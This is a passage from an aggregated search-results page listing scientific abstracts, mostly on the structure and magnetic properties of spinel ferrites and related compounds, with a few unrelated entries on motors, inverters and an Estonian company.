sites of magnetite. Both XMCD at Fe and Co L2,3 edges, and energy-dispersive X-ray spectroscopy on transmission electron microscopy analyses reveal a heterogeneous distribution of cobalt occurring either in different particles or inside individual particles. Compared with non-doped one, cobalt-doped magnetosome sample has lower Verwey transition temperature and larger magnetic coercivity, related to the amount of doped cobalt. This study also demonstrates that the addition of trace cobalt in the growth medium can significantly improve both the cell growth and the magnetosome formation within M. magneticum AMB-1. Together with the cobalt occupancy within the spinel structure of magnetosomes, this study indicates that MTB may provide a promising biomimetic system for producing chains of metal-doped single-domain magnetite with an appropriate tuning of the magnetic properties for technological and biomedical applications. © 2016 The Author(s). 3. Comparative study of nano copper aluminate spinel prepared by sol–gel and modified sol–gel techniques: Structural, electrical, optical and catalytic studies International Nuclear Information System (INIS) Kumar, R. Thinesh; Suresh, P.; Selvam, N. Clament Sagaya; Kennedy, L. John; Vijaya, J. Judith 2012-01-01 Highlights: ► A modified sol–gel method for the preparation of nano CuAl 2 O 4 spinel using ethylenediamine was studied. ► Role of ethylenediamine in enhancing the structural, electrical, optical and catalytic properties of copper aluminate is highlighted. ► Effect of preparation method on the activity and selectivity of the samples on the oxidation of benzyl alcohol by CuAl 2 O 4 is studied. - Abstract: The effect of ethylenediamine addition in the sol–gel method for the preparation of nano CuAl 2 O 4 spinel for the enhancement in their structural, electrical, optical and catalytic properties was investigated. The samples were prepared by two different methods: sol–gel and modified sol–gel technique using ethylenediamine. X-ray diffraction (XRD), Fourier transform infrared spectra (FT-IR), scanning electron microscopy (SEM), high resolution-transmission electron microscopy (HR-TEM), energy dispersive X-ray analysis (EDX), nitrogen adsorption/desorption isotherms, temperature dependent conductance measurements, thermoelectric power (TEP) measurements and UV–visible diffuse reflectance (UV–vis-DRS) spectra were used to characterize the samples prepared. CuAl 2 O 4 prepared by modified sol–gel technique was found to possess a higher surface area, lower crystallite size, lower activation energy and high porosity than the one prepared by sol–gel method which in turn lead to the improved performance of it towards the selective oxidation of benzyl alcohol to benzaldehyde. Effect of solvent on the catalytic oxidation of benzyl alcohol by the nano CuAl 2 O 4 prepared by modified sol–gel technique was also investigated. 4. Study of structural phase transformation and hysteresis behavior of inverse-spinel α-ferrite nanoparticles synthesized by co-precipitation method Science.gov (United States) Dabagh, Shadab; Chaudhary, Kashif; Haider, Zuhaib; Ali, Jalil 2018-03-01 Substitution of cobalt (Co2+) ions in cobalt ferrite (CoFe2O4) with copper (Cu2+) and aluminum (Al3+) ions allows variations in their electric and magnetic properties which can be optimized for specific applications. In this article, synthesis of inverse-spinel Co1-xCuxFe2-xAlxO4 (0.0 ≤ x ≤ 0.8) nanoparticles by substituting Cu2+ and Al3+ ions in CoFe2O4 via co-precipitation method is reported. By controlling copper and aluminum (Cu-Al) substituent ratio, the magnetic moment and coercivity of synthesized cobalt ferrite nanoparticles is optimized. The role of substituents on the structure, particle size, morphology, and magnetic properties of nano-crystalline ferrite is investigated. The Co1-xCuxFe2-xAlxO4 (0.0 ≤ x≤ 0.8) nanoparticles with crystallite size in the range of 23.1-26.5 nm are observed, 26.5 nm for x = 0.0-23.1 nm for x = 0.8. The inverse-spinel structure of synthesized Co1-xCuxFe2-xAlxO4 (0.0 ≤ x ≤ 0.8) nano-particles is confirmed by characteristic vibrational bands at tetrahedral and octahedral sites using Fourier transform infrared spectroscopy. A decreases in coercive field and magnetic moment is observed as Cu-Al contents are increased (x = 0.0-0.8). The positive anisotropy of synthesized particles Co1-xCuxFe2-xAlxO4 (0.0 ≤ x ≤ 0.8) is obtained in the range 1.96 × 105 J/m3 for x = 0.0 to 0.29 × 105 J/m3 for x = 0.8. 5. Preparation of single phase molybdenum boride International Nuclear Information System (INIS) Camurlu, Hasan Erdem 2011-01-01 Highlights: → Formation of Mo and a mixture of molybdenum boride phases take place in preparation of molybdenum borides. → It is intricate to prepare single phase molybdenum borides. → Formation of single phase MoB from MoO 3 + B 2 O 3 + Mg mixtures has not been reported previously. → Single phase MoB was successfully prepared through a combination of mechanochemical synthesis and annealing process. - Abstract: The formation of MoB through volume combustion synthesis (VCS), and through mechanochemical synthesis (MCS) followed by annealing has been investigated. MoO 3 , B 2 O 3 and Mg were used as reactants while MgO and NaCl were introduced as diluents. Products were leached in dilute HCl solution and were subjected to X-ray diffraction (XRD) analysis and scanning electron microscopy (SEM) examinations. Mo was the major phase component in the VCS products under all the experimental conditions. Mo 2 B, MoB, MoB 2 and Mo 2 B 5 were found as minor phases. Products of MCS contained a mixture of Mo 2 B, MoB, MoB 2 and Mo. After annealing the MCS product at 1400 deg. C for 3 h, single phase α-MoB was obtained. 6. Single phase induction motor with starting performance Energy Technology Data Exchange (ETDEWEB) Popescu, M.; Demeter, E. [Research Institute for Electrical Machines, ICPE-ME, Bucharest (Romania); Navrapescu, V. [University Politehnica Bucharest, Electrical Engineering Faculty Splaiul Independentei, Bucharest (Romania) 1997-12-31 The paper presents problems related to a special type of single phase induction motor. The main novelty consists in the use of a conducting (aluminium casted) shell distributed on the periferic region of the rotor. As a result the starting performance, as well as the rated ones, is much improved in comparison with the conventional construction. (orig.) 4 refs. 7. The effect of temperature and atmosphere on spinel phase formation of nano-manganese ferrite Directory of Open Access Journals (Sweden) B. Nasr 2006-03-01 Full Text Available Phase formation of manganese ferrite prepared by co-precipitation method is studied at different annealing temperatures. It is shown that the spinel phase is formed by quenching only in inert gas. XRD patterns show that the background picks fall in intensity by increasing annealing temperature and the single phase is achieved by magnetic separation. 8. Structural, magnetic, optical, dielectric, electrical and modulus spectroscopic characteristics of ZnFe2O4 spinel ferrite nanoparticles synthesized via honey-mediated sol-gel combustion method Science.gov (United States) Yadav, Raghvendra Singh; Kuřitka, Ivo; Vilcakova, Jarmila; Urbánek, Pavel; Machovsky, Michal; Masař, Milan; Holek, Martin 2017-11-01 This paper reports a honey-mediated green synthesis of ZnFe2O4 spinel ferrite nanoparticles and the effect of further annealing on structural, magnetic, optical, dielectric and electrical properties. X-ray diffraction study confirmed the well formation of ZnFe2O4 spinel ferrite crystal structure. Raman and Fourier transform infrared spectroscopy confirmed the formation of spinel ferrite crystal structure. The scanning electron microscopy study revealed the formation of spherical morphology at lower annealing temperature with achieved particle size 30-60 nm, whereas, octahedral like morphology at higher annealing temperature with particle size 50-400 nm. Magnetization measurements were carried out using a vibrating sample magnetometer at room temperature. The estimated magnetic parameter such as saturation magnetization (Ms), remanence (Mr) and coercivity (Hc) showed variation in value with nano-crystallite size. The highest saturation magnetization (Ms) was 12.81 emu/g for as-synthesized ZnFe2O4 spinel ferrite nanoparticles, whereas, highest coercivity (Hc) was 25.77 Oe for ZnFe2O4 nanoparticles annealed at high temperature 1000 °C. UV-Visible reflectance spectroscopy showed the band gap variation from 1.90 eV to 2.14 eV with the increase of annealing temperature. The dielectric constant and dielectric loss were decreased with frequency showing the normal behavior of spinel ferrites. The variation in conductivity is explained in terms of the variation in microstructure and variation in the mobility of charge carriers associated with the cation redistribution induced by annealing or grain size. The modulus and impedance spectroscopy study revealed the influence of bulk grain and the grain boundary on the electrical resistance and capacitance of ZnFe2O4 nanoparticles. The results presented in this work are helpful for green synthesis of well-controlled size, morphology and physical properties of ZnFe2O4 nanoparticles. 9. Crystal structures of spinel-type Na2MoO4 and Na2WO4 revisited using neutron powder diffraction Directory of Open Access Journals (Sweden) A. Dominic Fortes 2015-06-01 Full Text Available Time-of-flight neutron powder diffraction data have been collected from Na2MoO4 and Na2WO4 to a resolution of sin (θ/λ = 1.25 Å−1, which is substantially better than the previous analyses using Mo Kα X-rays, providing roughly triple the number of measured reflections with respect to the previous studies [Okada et al. (1974. Acta Cryst. B30, 1872–1873; Bramnik & Ehrenberg (2004. Z. Anorg. Allg. Chem. 630, 1336–1341]. The unit-cell parameters are in excellent agreement with literature data [Swanson et al. (1962. NBS Monograph No. 25, sect. 1, pp. 46–47] and the structural parameters for the molybdate agree very well with those of Bramnik & Ehrenberg (2004. However, the tungstate structure refinement of Okada et al. (1974 stands apart as being conspicuously inaccurate, giving significantly longer W—O distances, 1.819 (8 Å, and shorter Na—O distances, 2.378 (8 Å, than are reported here or in other simple tungstates. As such, this work represents an order-of-magnitude improvement in precision for sodium molybdate and an equally substantial improvement in both accuracy and precision for sodium tungstate. Both compounds adopt the spinel structure type. The Na+ ions have site symmetry .-3m and are in octahedral coordination while the transition metal atoms have site symmetry -43m and are in tetrahedral coordination. 10. Structural, Magnetic, and Electronic Properties of Mixed Spinel NiFe2-xCrxO4Nanoparticles Synthesized by Chemical Combustion. Science.gov (United States) Lyubutin, Igor S; Lin, Chun-Rong; Starchikov, Sergey S; Baskakov, Arseniy O; Gervits, Natalia E; Funtov, Konstantin O; Tseng, Yaw-Teng; Lee, Wen-Jen; Shih, Kun-Yauh; Lee, Jiann-Shing 2017-10-16 A series of nickel-chromium-ferrite NiFe 2-x Cr x O 4 (with x = 1.25) nanoparticles (NPs) with a cubic spinel structure and with size d ranging from 1.6 to 47.7 nm was synthesized by the solution combustion method. A dual structure of all phonon modes revealed in Raman spectra is associated with metal cations of different types present in the spinel lattice sites. Mössbauer spectra of small NPs exhibit superparamagnetic behavior. However, the transition into the paramagnetic state occurs at a temperature that is unusually high for small particles (T N is about 240 K in the d = 4.5 nm NPs). The larger NPs with d > 20 nm do not exhibit superparamagnetic properties up to the Neel temperature. From the magnetic and Mössbauer data, the cation occupation of the tetrahedral (A) and octahedral [B] sites was determined (Fe 0.75 Ni 0.25 )[Ni 0.75 Cr 1.25 ]O 4 . The saturation magnetization M S in the largest NPs is about (0.98-0.95) μ B , which is more than twice higher the value in bulk ferrite (Fe)[CrNi]O 4 . At low temperatures the total magnetic moment of the ferrite coincides with the direction of the B-sublattice moment. In the NPs with d > 20 nm, the compensation of the magnetic moments of A- and B-sublattices was revealed at about T com = 360-365 K. This value significantly exceeds the point T com in bulk ferrites NiFe x Cr 2-x O 4 (about 315 K) with the similar Cr concentration. However, in the smaller NPs NiFe 0.75 Cr 1.25 O 4 with d ≤ 11.7 nm, the compensation effect does not occur. The magnetic anomalies are explained in terms of highly frustrated magnetic ordering in the B sublattice, which appears due to the competition of AFM and FM exchange interactions and results in a canted magnetic structure. 11. Effect of d-block element Co{sup 2+} substitution on structural, Mössbauer and dielectric properties of spinel copper ferrites Energy Technology Data Exchange (ETDEWEB) Dar, M.A.; Varshney, Dinesh, E-mail: [email protected] 2017-08-15 Highlights: • Tetragonal (I41/amd) to cubic (Fd3m) phase change is observed in Cu{sub 1−x}Co{sub x}Fe{sub 2}O{sub 4}. • Raman studies reveal 2 (5) optical active modes in CuFe{sub 2}O{sub 4} and 5 (5) at room temperature. • Transmission Mössbauer spectroscopy discerns two sets of six-line hyperfine patterns. • The dielectric constant increases is maximum for Co{sup 2+}x = 0.1 composition. • ac conductivity is constant (low frequency) and increases abruptly (high frequency). - Abstract: The present work focuses on the influence of replacement of d-block element Cu{sup 2+} ion by Co{sup 2+} in Cu-spinel ferrites [Cu{sub 1−x}Co{sub x}Fe{sub 2}O{sub 4} (x = 0.0, 0.1, 0.2, 0.4, 0.6, and 1.0)] on the structural, vibrational and dielectric properties as synthesized by Solid-state reaction route. A structural transition from tetragonal (space group I41/amd)) to cubic (space group Fd3m) phase is observed due to introduction of cobalt. Cubic spinel- type structure at room temperature of Cu{sub 1−x}Co{sub x}Fe{sub 2}O{sub 4} (0.4 ≤ x ≤ 1.0) is confirmed by Rietveld – refined X-ray powder diffraction patterns. Raman spectroscopic studies reveal 2 (5) optical active modes in CuFe{sub 2}O{sub 4} (CoFe{sub 2}O{sub 4}) at room temperature. Transmission Mössbauer spectroscopy of Cu{sub 1−x}Co{sub x}Fe{sub 2}O{sub 4} (x = 0.0, 0.2 and 0.6) shows two sets of six-line hyperfine patterns for all the three samples, indicating the presence of Fe in both A and B sites. Identification of sites is accomplished by evidence from hyperfine distribution and isomer-shift data. Dielectric constant and dielectric loss tangent measured in the frequency range from 1 KHz to 1 MHz at room temperature are found to be decreasing with the increase in frequency. 12. Structural properties of Cd–Co ferrites Ferrite samples with composition, CdCo1−Fe2O4 ( = 0.80, 0.85, 0.90, 0.95 and 1.0), were prepared by standard ceramic method and characterized by XRD, IR and SEM techniques. X-ray analysis confirms the formation of single phase cubic spinel structure. Lattice constant and grain size of the samples increase with ... 13. Magnetic and Structural Properties of A-Site Ordered Chromium Spinel Sulfides: Alternating Antiferromagnetic and Ferromagnetic Interactions in the Breathing Pyrochlore Lattice Science.gov (United States) Okamoto, Yoshihiko; Mori, Masaki; Katayama, Naoyuki; Miyake, Atsushi; Tokunaga, Masashi; Matsuo, Akira; Kindo, Koichi; Takenaka, Koshi 2018-03-01 We report a comprehensive study on the magnetic and structural properties of the spinel sulfides LiInCr4S8, LiGaCr4S8, and CuInCr4S8, where Li+/Cu+ and Ga3+/In3+ ions form a zinc-blende-type order. On the basis of synchrotron X-ray diffraction and magnetization data obtained using polycrystalline samples, these three sulfides are suggested to be breathing pyrochlore magnets with alternating antiferromagnetic and ferromagnetic interactions on the small and large tetrahedra, respectively. The measured magnetization processes of the three sulfides up to 72 T are significantly different. The magnetization curves of LiInCr4S8 and CuInCr4S8 have large hysteresis loops with different shapes, while there is no hysteresis in that of LiGaCr4S8. Geometrical frustration of the small tetrahedron is likely to give rise to a wide variety of ground states, indicating the rich physics in these antiferromagnetic-ferromagnetic breathing pyrochlore magnets. 14. Structural characterization and magnetic properties of the spinel compound CoIn{sub 0.5}Cr{sub 1.5}S{sub 4} Energy Technology Data Exchange (ETDEWEB) Delgado, G.E. [Laboratorio de Cristalografia, Departamento de Quimica, Facultad de Ciencias, Universidad de Los Andes, Merida 5101 (Venezuela); Sagredo, V. [Laboratorio de Magnetismo, Departamento de Fisica, Facultad de Ciencias, Universidad de Los Andes, Merida 5101 (Venezuela); Bolzoni, F. [IMEM-CNR Institute, parco Area delle Scienze 37A, 4300 Fontanini, Parma (Italy) 2008-02-15 Single crystals of the magnetic semiconductor CoIn{sub 0.5}Cr{sub 1.5}S{sub 4}, belong to the system CoIn{sub (2-2X)}Cr{sub (2X)}S{sub 4} with x=0.75, was grown by the chemical transport method. X-ray powder diffraction characterization by the Rietveld method indicated that CoIn{sub 0.5}Cr{sub 1.5}S{sub 4} crystallizes in the space group Fd-3m, Z=8, with a=10.0700(6) A and V=1021.2(1) A{sup 3}, in a normal spinel structure. The temperature dependence of the DC magnetization suggests that the studied compound presents a ferromagnetic behavior with a Curie temperature T{sub c}=220 K. Sharp spin-glass like behavior was found also. (copyright 2008 WILEY-VCH Verlag GmbH and Co. KGaA, Weinheim) (orig.) 15. Instability of single-phase natural circulation International Nuclear Information System (INIS) Xie Heng; Zhang Jinling; Jia Dounan 1997-01-01 The author has investigated the instability of single-phase flows in natural circulation loops. The momentum equation and energy equation are made dimensionless according to some definitions, and some important dimensionless parameters are gotten. The authors decomposed the mean mass flowrate and temperature into a steady solution and a small disturbance equations. Through solving the disturbance equations, the authors get the neutral stability curves. The authors have studied the effect of the two parameters which represent the ratio of buoyancy force to the friction loss in the loop on the stability of loops. The authors also have studied the effect of the difference of height between the center of heat source and the heat sink on the stability 16. The effect of Cr substitution on the structural, electronic and magnetic properties of pulsed laser deposited NiFe{sub 2}O{sub 4} thin films Energy Technology Data Exchange (ETDEWEB) Panwar, Kalpana [Department of Physics, Govt. Women Engineering College, Ajmer, 305002 India (India); Department of Pure and Applied Physics, University of Kota, Kota, 324010 India (India); Tiwari, Shailja, E-mail: [email protected] [Department of Physics, Govt. Women Engineering College, Ajmer, 305002 India (India); Bapna, Komal [Department of Physics, M. L. Sukhadia University, Udaipur, 313001 India (India); Heda, N.L. [Department of Pure and Applied Physics, University of Kota, Kota, 324010 India (India); Choudhary, R.J.; Phase, D.M. [UGC-DAE Consortium for Scientific Research, University Campus, Indore, 452001 India (India); Ahuja, B.L. [Department of Physics, M. L. Sukhadia University, Udaipur, 313001 India (India) 2017-01-01 We have studied the structural, electronic and magnetic properties of pulsed laser deposited thin films of Ni{sub 1−x}Cr{sub x}Fe{sub 2}O{sub 4} (x=0.02 and 0.05) on Si (111) and Si (100) substrates. The films reveal single phase, polycrystalline structure with larger grain size on Si (111) substrate than that on Si (100) substrate. Contrary to the expected inverse spinel structure, x-ray photoemission (XPS) studies reveal the mixed spinel structure. XPS results suggest that Ni and Fe ions exist in 2+ and 3+ states, respectively, and they exist in tetrahedral as well as octahedral sites. The deviation from the inverse spinel leads to modified magnetic properties. It is observed that saturation magnetization drastically drops compared to the expected saturation value for inverse spinel structure. Strain in the films and lattice distortion produced by the Cr doping also appear to influence the magnetic properties. - Highlights: • Thin films of Ni{sub 1−x}Cr{sub x}Fe{sub 2}O{sub 4} are grown on Si(111) and Si(100) substrates. • Films on Si(111) substrate are better crystalline than those on Si(100). • XRD and FTIR results confirm the single phase growth of the films. • Cationic distribution deviates from inverse spinel structure, as revealed by XPS. • Saturation magnetization is larger on Si(100) but lower than the bulk value. 17. Magnetic moment directions and distributions of cations in Cr (Co substituted spinel ferrites Ni0.7Fe2.3O4 Directory of Open Access Journals (Sweden) L. C. Xue 2015-09-01 Full Text Available Powder samples of the spinel ferrites MxNi0.7−xFe2.3O4 (M = Cr, Co and 0.0 ≤ x ≤ 0.3 and CrxNi0.7Fe2.3−xO4 (0.0 ≤ x ≤ 0.3 were synthesized using the chemical co-precipitation method. The XRD spectra confirmed that the samples had a single-phase cubic spinel structure. Magnetic measurements showed that the magnetic moments (μexp per formula both at 10 K and 300 K increased with Co substitution, while the values of μexp decreased with Cr substitution. Applying the assumption that the magnetic moments of Cr2+ and Cr3+ lie antiparallel to those of the divalent and trivalent Fe, Co, and Ni cations in the same sublattice of spinel ferrites, these interesting behaviors could be easily interpreted. The cation distributions of the three series of samples were estimated successfully by fitting the dependences of μexp, measured at 10 K, on the doping level x, using a quantum-mechanical potential barrier model earlier proposed by our group. The results obtained for the Cr cation distributions at the (A and [B] sites are very close to those obtained elsewhere using neutron diffraction. 18. The Effect of Contact Non-equilibrium Plasma on Structural and Magnetic Properties of MnХFe3 - XО4Spinels. Science.gov (United States) Frolova, L A; Derhachov, M P 2017-08-23 Nano-sized manganese ferrites Mn х Fe 3 - х О 4 (х = 0-1.3) were prepared using contact non-equilibrium plasma (CNP) in two different pH (11.5 and 12.5). The influence of synthesis conditions (e.g., cation ratio and initial pH) on phase composition, crystallite size, and magnetic properties were investigated employing X-ray diffraction (XRD), differential thermal analysis (DTA), Fourier transform infrared (FTIR), scanning electron microscopy (SEM), transmission electron microscopy (TEM), and magnetic measurement techniques. The formation of monodispersed faceted ferrite particles at х = 0-0.8 was shown. The FTIR spectra revealed reflection in region 1200-1700 cm -1 caused by the presence of water adsorbed on the surface of Fe 3 - x Mn x O 4 micro-granules or embedded into their crystal lattice. The most sensitivity of reflection spectra to the composition changes takes place within a 400-1200 cm -1 range, typical to the stretching vibrations of Fe(Mn)-O (up to 700 cm -1 ), Fe(Mn)-OH, and Fe(Mn)-OH 2 bonds (over 700 cm -1 ). The XRD results showed that the nanocrystalline Mn х Fe 3 - х О 4 (0 spinel crystal structure with average crystallite size 48-49 A. The decrease of crystalline size with the x increase was also observed. 19. Magnetostructural and magnetodielectric coupling in spinel oxides Science.gov (United States) Kemei, Moureen Chemurgor Spinels oxides are of great interest functionally as multiferroic, battery, and magnetic materials as well as fundamentally because they exhibit novel spin, structural, and orbital ground states. Competing interactions are at the heart of novel functional behavior in spinels. Here, we explore the intricate landscape of spin, lattice, and orbital interactions in magnetic spinels by employing variable-temperature high-resolution synchrotron x-ray powder diffraction, total neutron scattering, magnetic susceptibility, dielectric, and heat capacity measurements. We show that the onset of long-range magnetic interactions often gives rise to lattice distortions. We present the complete crystallographic descriptions of the ground state structures of several spinels, thereby paving the way for accurate modeling and design of structure-property relationships in these materials. We also report the emergence of magnetodielectric coupling in the magnetostructural phases of some of the studied spinels. We begin by examining spin-lattice coupling in the Jahn-Teller active systems NiCr2O4 and CuCr2O4. Orbital ordering yields a cubic to tetragonal lattice distortion in these materials above their magnetic ordering temperatures, however, we find that magnetic ordering also drives structural distortions in these spinels through exchange striction. We provide the first orthorhombic structural descriptions of NiCr 2O4 and CuCr2O4. Our observation of strong spin-lattice coupling in NiCr2O4 and CuCr 2O4 inspired the study of magnetodielectric coupling in these spinels. Magnetocapacitance measurements of NiCr2O4 reveal multiferroic behavior and new magnetostructural distortions below the Neel temperature. This observation illustrates the sensitivity of dielectric measurements to magnetostructural transitions in spinel materials. Finally, in the examination of NiCr2O4 we show that magnetodielectric coupling is well described by Ginzburg-Landau theory. In addition to exchange striction 20. Structural and magnetic properties of Zn.sub.x./sub.Mn.sub.3-x./sub.O.sub.4./sub. spinels Czech Academy of Sciences Publication Activity Database Nádherný, L.; Maryško, Miroslav; Sedmidubský, D.; Martin, C. 2016-01-01 Roč. 413, Sep (2016), s. 89-96 ISSN 0304-8853 Institutional support: RVO:68378271 Keywords : Zn-Mn-O spinels solid-state reaction * ferrimagnetic clusters * ZnO Subject RIV: BM - Solid Matter Physics ; Magnetism Impact factor: 2.630, year: 2016 1. Magnetic properties of nanostructured spinel ferrites and ... structured spinel ferrites such as Ni0.5Zn0.5Fe2O4 and Mn0.67Zn0.33Fe2O4 and also that of the nanocomposite Nd2Fe14B/-Fe permanent magnetic material. The increase in the magnetic transition temperature of Ni-Zn ferrite from 538 K in the ... 2. Magnetic behavior of the oxide spinels: 1031–1034. Magnetic behavior of the oxide spinels: Li0.5Fe2.5−2xAlxCrxO4. U N TRIVEDI, K B MODI and H H JOSHI. Department of Physics, Saurashtra University, Rajkot 360 005, India. Abstract. In order to study the effect of substitution of Fe3+ by Al3+ and Cr3+ in Li0.5Fe2.5O4 on its structural and magnetic properties, ... 3. Morphological, Structural, and Optical Properties of Single-Phase Cu(In,GaSe2 Thin Films from the Selenization of Thermally Evaporated InSe/Cu/GaSe Precursors Directory of Open Access Journals (Sweden) Francis B. Dejene 2014-01-01 Full Text Available The relatively small band gap values (~1 eV of CuInSe2 thin films limit the conversion efficiencies of completed CuInSe2/CdS/ZnO solar cell devices. In the case of traditional two-stage growth techniques, limited success has been achieved to homogeneously increase the band gap by substituting indium with gallium. In this study, thermal evaporation of InSe/Cu/Gase precursors was exposed to an elemental Se vapour under defined conditions. This technique produced large-grained, single-phase Cu(In,GaSe2 thin films with a high degree of in-depth compositional uniformity. The selenization temperature, ramp time, reaction period, and the effusion cell temperature with respect to the Cu(In,GaSe2 films were optimized in this study. The homogeneous incorporation of Ga into CuInSe2 led to a systematic shift in the lattice spacing parameters and band gap of the absorber films. Under optimized conditions, gallium in cooperation resulted only in a marginal decrease in the grain size, X-ray diffraction studies confirmed single-phase Cu(In,GaSe2 material, and X-ray photoluminescence spectroscopy in-depth profiling revealed a uniform distribution of the elements through the entire depth of the alloy. From these studies optimum selenization conditions were determined for the deposition of homogeneous Cu(In,GaSe2 thin films with optimum band gap values between 1.01 and 1.21 eV. 4. Structure and magnetic properties of spinel-perovskite nanocomposite thin films on SrTiO3 (111) substrates Science.gov (United States) Kim, Dong Hun; Yang, Junho; Kim, Min Seok; Kim, Tae Cheol 2016-09-01 Epitaxial CoFe2O4-BiFeO3 nanocomposite thin films were synthesized on perovskite structured SrTiO3 (001) and (111) substrates by combinatorial pulsed laser deposition and characterized using scanning electron microscopy, x-ray diffraction, and vibrating sample magnetometer. Triangular BiFeO3 nanopillars were formed in a CoFe2O4 matrix on (111) oriented SrTiO3 substrates, while CoFe2O4 nanopillars with rectangular or square top surfaces grew in a BiFeO3 matrix on (001) substrates. The magnetic hysteresis loops of nanocomposites on (111) oriented SrTiO3 substrates showed isotropic properties due to the strain relaxation while those of films on SrTiO3 (001) substrates exhibited a strong out-of-plane anisotropy originated from shape and strain effects. 5. Structural and magnetic anisotropy in the epitaxial FeV2O4 (110 spinel thin films Directory of Open Access Journals (Sweden) Xiaolan Shi 2015-11-01 Full Text Available The epitaxial 200-nm-thick FeV2O4(110 films on (110-oriented SrTiO3, LaAlO3 and MgAl2O4 substrates were fabricated for the first time by pulsed laser deposition, and the structural, magnetic, and magnetoresistance anisotropy were investigated systematically. All the films are monoclinic, whereas its bulk is cubic. Compared to FeV2O4 single crystals, films on SrTiO3 and MgAl2O4 are strongly compressively strained in [001] direction, while slightly tensily strained along normal [110] and in-plane [ 1 1 ¯ 0 ] directions. In contrast, films on LaAlO3 are only slightly distorted from cubic. The magnetic hard axis is in direction, while the easier axis is along normal [110] direction for films on SrTiO3 and MgAl2O4, and in-plane [ 1 1 ¯ 0 ] direction for films on LaAlO3. Magnetoresistance anisotropy follows the magnetization. The magnetic anisotropy is dominated by the magnetocrystalline energy, and tuned by the magneto-elastic coupling. 6. Structural and magnetic anisotropy in the epitaxial FeV2O4 (110) spinel thin films Science.gov (United States) Shi, Xiaolan; Wang, Yuhang; Zhao, Kehan; Liu, Na; Sun, Gaofeng; Zhang, Liuwan 2015-11-01 The epitaxial 200-nm-thick FeV2O4(110) films on (110)-oriented SrTiO3, LaAlO3 and MgAl2O4 substrates were fabricated for the first time by pulsed laser deposition, and the structural, magnetic, and magnetoresistance anisotropy were investigated systematically. All the films are monoclinic, whereas its bulk is cubic. Compared to FeV2O4 single crystals, films on SrTiO3 and MgAl2O4 are strongly compressively strained in [001] direction, while slightly tensily strained along normal [110] and in-plane [ 1 1 ¯ 0 ] directions. In contrast, films on LaAlO3 are only slightly distorted from cubic. The magnetic hard axis is in direction, while the easier axis is along normal [110] direction for films on SrTiO3 and MgAl2O4, and in-plane [ 1 1 ¯ 0 ] direction for films on LaAlO3. Magnetoresistance anisotropy follows the magnetization. The magnetic anisotropy is dominated by the magnetocrystalline energy, and tuned by the magneto-elastic coupling. 7. Control of Single-Stage Single-Phase PV inverter DEFF Research Database (Denmark) Ciobotaru, Mihai; Teodorescu, Remus; Blaabjerg, Frede 2005-01-01 In this paper the issue of control strategies for single-stage photovoltaic (PV) inverter is addressed. Two different current controllers have been implemented and an experimental comparison between them has been made. A complete control structure for the single-phase PV system is also presented......-forward; - and the grid current controller implemented in two different ways, using the classical proportional integral (PI) and the novel proportional resonant (PR) controllers. The control strategy was tested experimentally on 1.5 kW PV inverter........ The main elements of the PV control structure are: - a maximum power point tracker (MPPT) algorithm using the incremental conductance method; - a synchronization method using the phase-locked-loop (PLL), based on delay; - the input power control using the dc voltage controller and power feed... 8. Comparing the Pressure-Induced Structural Behavior of CuCr 2 O 4 and CuCr 2 Se 4 Spinels Energy Technology Data Exchange (ETDEWEB) Efthimiopoulos, I. [Department; Deutsches GeoForschungsZentrum (GFZ), Section 4.3,; Tsurkan, V. [Institute; Experimental; Loidl, A. [Experimental; Zhang, Dongzhou [Partnership; Wang, Y. [Department 2017-07-20 We have conducted high-pressure measurements on the CuCr2O4 and CuCr2Se4 spinels to unravel the structural systematics of these materials under compression. Our studies have revealed diverse structural behavior in these two compounds. In particular, CuCr2O4 retains its ambient-pressure I41/amd structure up to 50 GPa. Close inspection of the lattice and interatomic parameters reveals a compressibility change near 23 GPa, which is accompanied by an expansion of the apical Cr–O bond distances. We speculate that an outer Cr3+ 3d orbital reorientation might be at play in this system, manifesting as the change in compressibility at that pressure point. On the other hand, CuCr2Se4 undergoes a structural transformation from the starting Fd3¯m phase toward a monoclinic structure initiated at ~8 GPa and completed at ~20 GPa. This high-pressure behavior resembles that of ZnCr2Se4, and it appears that, unlike similar chalcogenide Cr spinels, steric effects take a leading role in this pressure-induced Fd3¯m → monoclinic transition. Close comparison of our results with the reported literature yields significant insights behind the pressure-induced structural systematics of this important family of materials, thus both allowing for the careful manipulation of the structural/physical properties of these systems by strain and promoting our understanding of similar pressure-induced effects in relevant systems. 9. AS Spinel toodab ja ehitab Index Scriptorium Estoniae 1998-01-01 1990. aastast tegutseb Eestis majade, suvilate, aiamajade, saunade jt. hoonete elementide komplektide valmistamisega AS Spinel. Märjamaal toodetakse freespuidust hoonete komplekte, Kõrvetagusel valmivad soojustatud puitkarkassil elemendid monteeritavate majade jaoks 10. Correlation between structural and magnetic properties of half-metallic spinel CuV2S4 due to the order-disorder transition of 3d2(t2g) orbitals of V3+ ions International Nuclear Information System (INIS) Kumara, L.S.R.; Tokiwa, N.; Awaka, J.; Hagino, T.; Nagata, S.; Park, Young Jun; Hidaka, M. 2008-01-01 Structural and magnetic properties of the spinel CuV 2 S 4 have been studied by means of X-ray diffraction using synchrotron radiation and measurements of magnetic susceptibility. The structural phase transitions occur at about 55 K and 90 K, and the superlattice reflections (h±q o , k±q o , l) having an orthorhombic reduced wavevector q o =(1/4,1/4,0) are observed at 10 K. This suggests that the structure below 55 K is a commensurate unit cell of 4a p x 4b p x c p , where the subscript 'p' means a pseudo-spinel structure, and that the structural phase transitions are induced by the cooperative displacement of S ions in one-dimensional VS 6 octahedral chains, which are aligned along an orthorhombic[110] direction. The susceptibility also shows that the weak ferromagnetic transition occurs at about 90 K, and the spike-like susceptibility is observed in the region of about 40 K and 55 K. The unusual electronic and magnetic properties of CuV 2 S 4 in the low-temperature phases below about 90 K are interpreted by order and disorder states of (3d xy , 3d yz , 3d zx ) for the V 3+ 3d 2 (t 2g ) orbitals in the VS 6 octahedral chains. (copyright 2008 WILEY-VCH Verlag GmbH and Co. KGaA, Weinheim) (orig.) 11. Structural, magnetic, elastic, dielectric and electrical properties of hot-press sintered Co1-xZnxFe2O4 (x = 0.0, 0.5) spinel ferrite nanoparticles Science.gov (United States) Singh Yadav, Raghvendra; Kuřitka, Ivo; Havlica, Jaromir; Hnatko, Miroslav; Alexander, Cigáň; Masilko, Jiri; Kalina, Lukas; Hajdúchová, Miroslava; Rusnak, Jaroslav; Enev, Vojtěch 2018-02-01 In this article, Co1-xZnxFe2O4 (x = 0.0 and 0.5) disc-shaped pellets were formed by hot-press sintering of nanoparticles at temperature 925 °C for 10 min in vacuum atmosphere under 30 MPa mechanical pressure. 